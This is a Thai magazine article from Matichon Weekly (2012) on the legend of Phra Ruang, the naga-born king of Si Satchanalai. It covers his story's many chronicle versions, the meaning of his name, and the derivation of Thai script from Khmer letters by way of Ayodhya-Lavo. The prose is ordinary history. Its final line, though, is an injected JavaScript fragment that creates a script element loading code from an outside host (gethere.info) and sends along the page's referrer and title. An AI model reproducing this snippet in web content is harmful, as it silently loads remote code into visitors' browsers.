มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 16 พฤศจิกายน 2555

 

          วรรณกรรมคำบอกเล่าเก่าแก่ หรือตำนานในพงศาวดารเหนือ เล่าเรื่องความเป็นมาของพระร่วง และบ้านเมืองรัฐสุโขทัย ซึ่งอยู่ภาคกลางตอนบนของลุ่มน้ำเจ้าพระยา

          พระร่วงเป็นลูกนางนาค กับพระราชาเมืองหริภุญชัย (ลำพูน) เมื่อพระร่วงโตขึ้นได้เป็นพระราชาเมืองศรีสัชนาลัย (ปัจจุบันคือ อ. ศรีสัชนาลัย จ. สุโขทัย) ซึ่งน่าจะเป็นเมืองแรกของรัฐสุโขทัย

          ต่อมาพระร่วงให้มีชุมนุมนักปราชญ์เพื่อทำหนังสือไทย หรืออักษรไทย มีในพงศาวดารเหนือ จะคัดตัดตอนเฉพาะที่สำคัญๆ มาย่อหน้าใหม่ให้อ่านสะดวก ดังต่อไปนี้

 

ตำนานเรื่องพระร่วง

          พระยาอภัยคามินีศีลาจารย์บริสุทธิ์อยู่ในเมืองหริภุญชัยนคร ย่อมออกไปจำศีลอยู่ในเขาใหญ่ จึงร้อนถึงอาสนนางนาคอยู่มิได้ ก็ขึ้นมาในภูเขาใหญ่นั้น ก็มาพบพระยาอยู่จำศีล เธอก็มาเสพเมถุนด้วยนางนาคๆ อยู่ได้เจ็ดวันก็แล้วจะลาไป

          พระยาจึงให้ผ้ารัตกัมพลและพระธำมรงค์ไปแก่นางนาคให้ชมต่างพระองค์ นางนาคก็กลับลงไป พระยาก็เข้ามาเมืองดังเก่า

          พระร่วงลูกนางนาค

          และนางนาคมีครรภ์แก่ และนางนาคก็ว่าลูกตูนี้มิใช่เป็นไข่ และจะเป็นมนุษย์ทีเดียว และจะคลอดในเมืองนี้มิได้ แล้วจึงขึ้นมาถึงภูเขาที่อาสนแห่งพระยานั้น ก็ประสูติกุมาร ผ้าและแหวนนั้นนางก็ไว้แก่ลูกตนแล้วหนีลงไปเมืองนาค

          และมีพรานพเนจรคนหนึ่ง ออกไปหาเนื้อในป่า ได้ยินเสียงกุมารร้องไห้ และพรานเข้าไปก็เห็นกุมาร แล้วพรานก็สัญญาว่าลูกท้าวหลานพระยาแลเห็นตูมากลัวตู และซัดลูกเสีย พรานจึงเอากุมารนั้นไปให้ภรรยาตนเลี้ยงเป็นบุตรบุญธรรม

          และสมเด็จพระเจ้าอภัยคามินีราช ใช้ให้เสนาอำมาตย์สร้างพระมหาปราสาท จึงให้เกณฑ์เอาชาวบ้านมาถากไม้ตั้งเสาพระมหาปราสาท และพรานนั้นก็ต้องเกณฑ์มาถากไม้ จึงเอากุมารนั้นเข้ามาไว้ด้วย

          และร้อนด้วยรัศมีพระอาทิตย์ พรานนั้นจึงเอากุมารเข้ามาไว้ในร่มพระมหาปราสาทๆ ก็โอนไปเป็นหลายที พระยาเห็นก็หลากพระทัย จึงให้เอาพรานนั้นเข้ามาถามดู และพรานจะพรางมิได้ก็บอกว่าลูกเขาซัดเสียในป่า และข้าพเจ้าเอามาเลี้ยงไว้เป็นลูก

          พระยาจึงถามว่ามีอันใดอยู่ด้วยกุมารนั้นบ้าง จึงกราบทูลว่ามีแหวนและผ้าอยู่ด้วยกัน และพระยาจึงให้พรานเอามาดู ก็รู้ว่าเป็นราชบุตรแห่งตน พระองค์จึงให้รางวัลแก่พรานนั้น แล้วพระองค์จึงให้หาชะแม่นมรับเอากุมารนั้นมาเลี้ยงไว้แล้ว พระองค์ใหชื่อกุมารนั้นว่าเจ้าอรุณราชกุมาร

          ———–

          พระร่วงครองศรีสัชนาลัย

          และพระยาอภัยคามินีมาคิดแต่ในพระทัยว่า เมืองใดจะสมควรแก่ลูกแห่งกูนี้ จึงเห็นแต่เมืองสัชนาลัย ยังแต่พระราชธิดา และพระราชบุตรหามิได้ และพระยาอภัยคามินีจึงเอาเจ้าอรุณราชกุมารเป็นพระยาในเมืองสัชนาลัย ก็ได้นามชื่อพระยาร่วง

          ———–

          พระร่วงทำหนังสือไทย

          และเมื่อพระองค์จะลบศักราชพระพุทธเจ้า จึงให้นิมนต์พระอชิตเถระ และพระอุปคุตเถระ และพระมหาเถรไลยลายคือพราหมณ์ เป็นเชื้อมาแต่พระรามเทพ และพระอรหันต์เจ้าทั้ง 500 พระองค์ ทั้งพระพุทธโฆษาจารย์วัดรังแร้ง และชุมนุมพระสงฆ์เจ้าทั้งหลาย ณ วัดโคกสิงคาราม กลาเมืองสัชนาลัย และท้าวพระยาในชมพูทวีปคือไทยและลาวมอญ จีน พม่า ลังกา พราหมณ์เทศเพศต่าง พระองค์เจ้าให้ทำหนังสือไทยเฉียง มอญ พม่า ไทย และขอมเฉียง ขอม มีมาแต่นั้น

 

วรรณกรรมพระร่วง

          พระร่วง มีนิทานกล่าวถึงหลายสำนวนอยู่ในพงศาวดารมอญ, พงศาวดารเขมร, ตำนานพื้นเมืองเชียงใหม่, และในพงศาวดารไทย บอกเล่าด้วยโวหารพิสดารต่างๆ กัน

          โดยเฉพาะสำนวนในจุลยุทธการวงศ์ แต่งโดยนักปราชญ์สำนักวัดพระเชตุพนฯ กรุงเทพฯ ซึ่งได้จากคำบอกเล่าชาวเมืองสุโขทัย (มีรายละเอียดอีกมากอยู่ในหนังสือนาค มาจากไหน? โพสต์บุ๊กส์ พิมพ์ครั้งที่ 3 พ.ศ. 2554)

          แสดงว่าพระร่วงเป็นวีรบุรุษในตำนาน และเป็นที่รับรู้กว้างขวางไปถึงบ้านเมืองเครือญาติโดยรอบ จึงมีวรรณกรรมคำบอกเล่าเรื่องพระร่วงกระจายไปถึงบ้านเมืองนั้น แล้วแต่งเติมเสริมต่อตามความเข้าใจของตน

 

ร่วง แปลว่า รุ่ง ลาวว่า ฮุ่ง

          พระร่วง เป็นชื่อในตำนานใช้เรียกรวมๆ หมายถึงพระราชารัฐสุโขทัยโดยไม่เจาะจงถึงองค์ใดองค์หนึ่ง

          ร่วง แปลว่า รุ่งเรือง, อรุณ แผลงจากคำว่า รุ่ง คำเดียวกับลาวเรียก ฮุ่ง ในตำนานท้าวฮุ่ง ท้าวเจือง วีรบุรุษสองฝั่งโขงยุคดึกดำบรรพ์ ซึ่งมีศูนย์กลางอยู่บริเวณลุ่มน้ำกก-อิง (เชียงราย-พะเยา)

          น่าเชื่อว่าตระกูลพระร่วงมีบรรพชน (สายหนึ่ง) อยู่บริเวณลุ่มน้ำกก-อิง-โขง ที่ภายหลังเป็นดินแดนล้านนากับล้านช้าง ซึ่งมีหลักฐานและร่องรอยสำคัญอยู่ในจารึกวัดศรีชุม ว่าดินแดนของพ่อขุนศรีนาวนำถุมเกี่ยวดองเป็นเครือญาติกับเมืองพะเยาและเมืองเชียงแสน

          นอกจากนั้นยังมีคำบอกเล่าอยู่ในพงศาวดารโยนกว่าพระร่วงเป็นสหาย (เครือญาติ) กับพญางำเมือง เจ้าเมืองพะเยา แล้วยังมีพยานอื่นๆ อีกมาก

 

อักษรไทย

          คำบอกเล่าว่าพระร่วงให้ทำหนังสือไทย ก็คืออักษรไทย โดยเชิญนักปราชญ์ราชบัณฑิตไปชุมนุมปรึกษาหารือกัน

          ในจำนวนนั้น มีบุคคลสำคัญคือพระมหาเถรไลยลาย เป็นพราหมณ์จากเมืองรามเทพ คืออโยธยาศรีรามเทพ หรืออโยธยา-ละโว้ (ที่ต่อไปข้างหน้า เปลี่ยนนามเป็นกรุงศรีอยุธยา)

          ตำนานตรงนี้สอดคล้องกับพยานหลักฐานประวัติศาสตร์โบราณคดีว่าพัฒนาการของอักษรไทยมาจากอักษรเขมร (ขอม) มีใช้เขียนบนสมุดข่อยอยู่ก่อนในรัฐอโยธยา-ละโว้ แล้วแพร่กระจายขึ้นไปถึงรัฐสุโขทัย ใช้สลักบนศิลาทำจารึก (มีคำอธิบายละเอียดอยู่ในหนังสือภาษาและวรรรคดีในสยามประเทศ สำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2546)

          อักษรเขียนบนสมุดข่อยมีรูปร่างอย่างหนึ่ง แต่อักษรสลักบนหินก็มีรูปร่างอีกอย่างหนึ่ง เพื่อสะดวกในการเขียนหรือสลักบนวัสดุที่ต่างกัน ดังจะพบว่าอักษรมอญจารบนใบลานกับอักษรเขมรสลักบนหินก็มีรูปร่างต่างกัน

          ร่องรอยอักษรไทยจากอโยธยา-ละโว้ แพร่ขึ้นไปสุโขทัยมีมาแล้วตั้งแต่ยุคอยุธยา แสดงว่าเป็นที่รับรู้ในหมู่นักปราชญ์ราชบัณฑิตในราชสำนักอยุธยา แต่ระบบการศึกษาสมัยใหม่ด้านประวัติศาสตร์โบราณคดี ตลอดจนภาษาและวรรณคดี มองข้ามวรรณกรรมอย่างนี้ไป จึงเข้าใจวิปลาสคลาดเคลื่อนสืบมา

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);